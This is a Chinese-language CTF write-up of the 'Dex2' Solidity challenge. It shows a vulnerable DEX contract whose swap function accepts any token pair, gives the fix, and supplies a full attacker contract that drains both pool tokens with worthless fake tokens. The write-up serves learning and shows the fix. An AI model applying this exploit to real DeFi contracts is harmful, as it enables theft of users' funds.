23.Dex2

Dex2

题目

要求：DexTwo合约中有用token1和token2各100个，将它们设置为0

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

分析

• 没有限制swap的币对，因此任何山寨币都可以和token1、token2进行swap。
• 修复：

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

• 思路：创建两个山寨币，然后分别给题目合约1token，这样流动池方法getSwapAmount()计算出来的比例（山寨币：token[1,2]）就是1：100，这样的话，我们就可以用1个山占比来拿走100个token1和token2。

解题

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract attacker{
    IDexTwo public level = IDexTwo(0x0000000000000000000000000000000000000000); // gas save
    FakeToken public faketoken1 = FakeToken(0x0000000000000000000000000000000000000000); // gas save
    FakeToken public faketoken2 = FakeToken(0x0000000000000000000000000000000000000000); // gas save

    constructor(IDexTwo _addr) public {
        level = _addr;
        faketoken1 = new FakeToken();
        faketoken2 = new FakeToken();
    }

    function attack() external {
        faketoken1.transfer(address(level), 1); // add liquidity
        faketoken2.transfer(address(level), 1); // add liquidity

        faketoken1.approve(address(level), 1); // prepare for swap
        faketoken2.approve(address(level), 1); // prepare for swap

        level.swap(address(faketoken1), address(level.token1()), 1); // swap
        level.swap(address(faketoken2), address(level.token2()), 1); // swap
    }

}

interface IDexTwo {
    function swap(address, address, uint256) external; // 🐎的，注意不能写成uint，否则swap方法会调用失败，一定要写全uint256
    function token1() external view returns(address);
    function token2() external view returns(address);
    function approve(address, uint256) external;
    function transfer(address,uint256) external ;
}

contract FakeToken is ERC20 {
    constructor() ERC20("MyToken", "MTK") {
        _mint(msg.sender,10000000000);
    }

}